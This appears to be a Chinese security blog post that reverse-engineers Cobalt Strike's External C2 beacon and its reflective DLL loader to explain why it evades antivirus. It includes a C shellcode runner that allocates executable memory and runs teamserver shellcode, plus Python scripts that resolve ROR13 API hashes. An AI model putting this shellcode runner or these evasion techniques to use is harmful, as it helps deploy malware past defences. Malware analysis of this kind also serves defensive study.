我们实现了一个能通过external C2 来对杀软进行绕过的方法,那么为什么行呢?这里对通讯的流量进行分析。
首先是在spawnBeacon
需要运行一段teamserver发送过来的shellcode
// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread
voidspawnBeacon(char *payload, DWORD len)
{
HANDLE threadHandle;
DWORD threadId = 0;
char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(alloc, payload, len);
threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);
}
在IDA中下断点看看,这里的客户端是自己编译的,因此选择Debug模式,这样IDA能通过pdb文件实现源码级F5(其实也不算反编译)
看看这段汇编长啥样
第一个call rbx
翻译成C
这里从第三方客户端Dump下文件后查看
findPEFile
首先获得当前rsp的值,并且由于是小端序,应该从右向左读。从启示地址开始读取,直到读取到PE文件的DOS头的e_magic,接着再判断PE头,如果都成立,则返回DOS文件头的地址,所以我在上层函数中将返回的类型设置为了PIMAGE_DOS_HEAD
Part I. sub_180017948
在使用IDA打开Dump下来的bin文件时,IDA会将其默认解析为PE文件格式,说明这就是在反射式加载一个PE文件,所以要首先从LDR中加载出基本函数,例如LoadLibrary
、VirtualAlloc
等
首先是经典的InMemoryOrderModuleList
循环遍历寻找
这个循环看不懂,我把i
的类型设置为struct _LDR_DATA_TABLE_ENTRY *i
再来看看
__ROR4__
:将v8向右循环移动13位,使用这个作为单次循环读取到字符的哈希运算- break的条件是:
v8 == 0x6A4ABC5B
既然是哈希,这个过程肯定是不可逆的,所以动态调试一下
发现值为:KERNEL32.DLL
可以得到该哈希,注意这里字串是wchar_t*
的宽字符类型,需要在 Options->String Literals 选择编码方式为unicode
也可以你想算法,尝试使用python暴力破解一下
import os
def ror4(value: int, bits: int) -> int:
value &= 0xFFFFFFFF # 保证是32位
return ((value >> bits) | (value << (32 - bits))) & 0xFFFFFFFF
def hasher(filename: bytes)->int:
v8 = 0
for ch in filename:
v9 = ror4(v8, 13)
v8 = (v9 + ord(ch)) & 0xFFFFFFFF
v9 = ror4(v8, 13)
v8 = (v9 + 0) & 0xFFFFFFFF
return v8
if __name__ == '__main__':
folder_path = "C:\Windows\System32"
files = os.listdir(folder_path)
for file in files:
if(file[-4:]!=".dll"):
continue
hash = hasher(file.upper())
if(hash==0x6A4ABC5B):
print("Found", file, "hash is right: ", hex(hash).upper())
break
这里使用的是C:\Windows\System32
目录下的DLL文件名
接着在静态我已经尽我最大努力了,可是还有很多不懂得
不过按照一般的流程就是找需要的导出函数了,动态调试看看
那么大概意思清楚了:读取dll的导出函数,进行自定义的哈希运算,找到符合的函数,从而加载函数,及GetProcAddress
的实现
dov6=*v14+++__ROR4__(v6, 13);while ( *v14 );
知道了是kernel32.dll的函数,我们自己测试看看(用pefile偷个懒)
import os
import pefile
def ror4(value: int, bits: int) -> int:
value &= 0xFFFFFFFF # 保证是32位
return ((value >> bits) | (value << (32 - bits))) & 0xFFFFFFFF
def hasher(filename: bytes, wide_char: bool = True)->int:
v8 = 0
for ch in filename:
v9 = ror4(v8, 13)
v8 = (v9 + ord(ch)) & 0xFFFFFFFF
if(wide_char):
v9 = ror4(v8, 13)
v8 = (v9 + 0) & 0xFFFFFFFF
return v8
def list_exported_functions(pe_path:str)->list:
result = []
pe = pefile.PE(pe_path)
if not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
print("此文件没有导出表。")
return
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
name = exp.name.decode() if exp.name else "<no name>"
address = hex(pe.OPTIONAL_HEADER.ImageBase + exp.address)
ordinal = exp.ordinal
result.append(name)
return result
if __name__ == '__main__':
folder_path = "C:\Windows\System32"
files = os.listdir(folder_path)
filename = ""
for file in files:
if(file[-4:]!=".dll"):
continue
hash = hasher(file.upper())
if(hash==0x6A4ABC5B):
print("Found", file, "hash is right: ", hex(hash).upper())
filename = file
break
if(filename != ""):
filepath = os.path.join(folder_path, filename)
func_names = list_exported_functions(filepath)
val = hasher(func_names[0], False)
print(func_names[0], hex(val))
修改一下一小段脚本
if(filename != ""):
filepath = os.path.join(folder_path, filename)
func_names = list_exported_functions(filepath)
for name in func_names:
v6 = hasher(name, False)
if v6 == 0xEC0E4E8E:
print("No.2",name,"t", f"0x{v6:02X}")
if v6 == 0x7C0DFCAA:
print("No.1",name,"t", f"0x{v6:02X}")
if v6 == 0x91AFCA54:
print("No.4",name,"t", f"0x{v6:02X}")
if v6 == 0x7946C61B:
print("No.5",name,"t", f"0x{v6:02X}")
if v6 == 0x753A4FC:
print("No.3",name,"t", f"0x{v6:02X}")
if v6 == 0xD3324904:
print("No.0",name,"t", f"0x{v6:02X}")
最后函数完成的v13
关于如何实现GetProcAddress
,可以参考之前关注发的文章:PE文件格式解析 的 《如何找到导入的函数和DLL-导入表》部分
sub_180017D38
主函数ReflectiveLoader
检查完成后进入sub_180017D38
根据之前的分析
*a
函数就是GetModuleHandlerA
,可以获得当前PE文件在内存中的位置
a[1]
函数就是GetProcAddress
sub_180017F88
ntHead->FileHeader.Characteristics
描述了IMAGE的特征。其中0x8000:反转单词的字节数。 此标志已过时。
根据参数修改下sub_180017F88
的类型就很好看了
动态调试发现没有走上面的复杂逻辑,或许是为了兼容性?
等效运行
VirtualAlloc(0,
SizeofImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)
后续函数
基本就是反射式载入那一套,你依旧可以参考:https://github.com/stephenfewer/ReflectiveDLLInjection
最后跳转到LoaderFlags
或者AddressOfEntryPoint
,这里是dllmain,开始运行恶意DLL
sub_180018158 CopyDOSHeader
复制PE文件DOS头
sub_180018218 ReflectSections
加载PE文件的Section到内存
sub_180018318 GetImportTable
从导入表开始导入相关函数和Dll
sub_1800185D8 DoRelocation
读取重定位表,进行重定位
小结
继续深入下去可以挖掘出cobaltstrike具体功能实现的方法和技巧。
这种方式的有效shellcode仅有跳转到ReflectLoader
之前的一小段汇编代码,所以看上“比较合法”,这样也大大提升了躲避检测的能力
同时这种方式可以使用之前提到过的反射式加载器加载,不过需要自己维持一个ipc(名称一定要正确)和socket来负责传递数据以及满足对应的堆栈条件
原文始发于微信公众号(不止Sec):【免杀】使用CobaltStrike的外置监听器绕过检测-番外
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论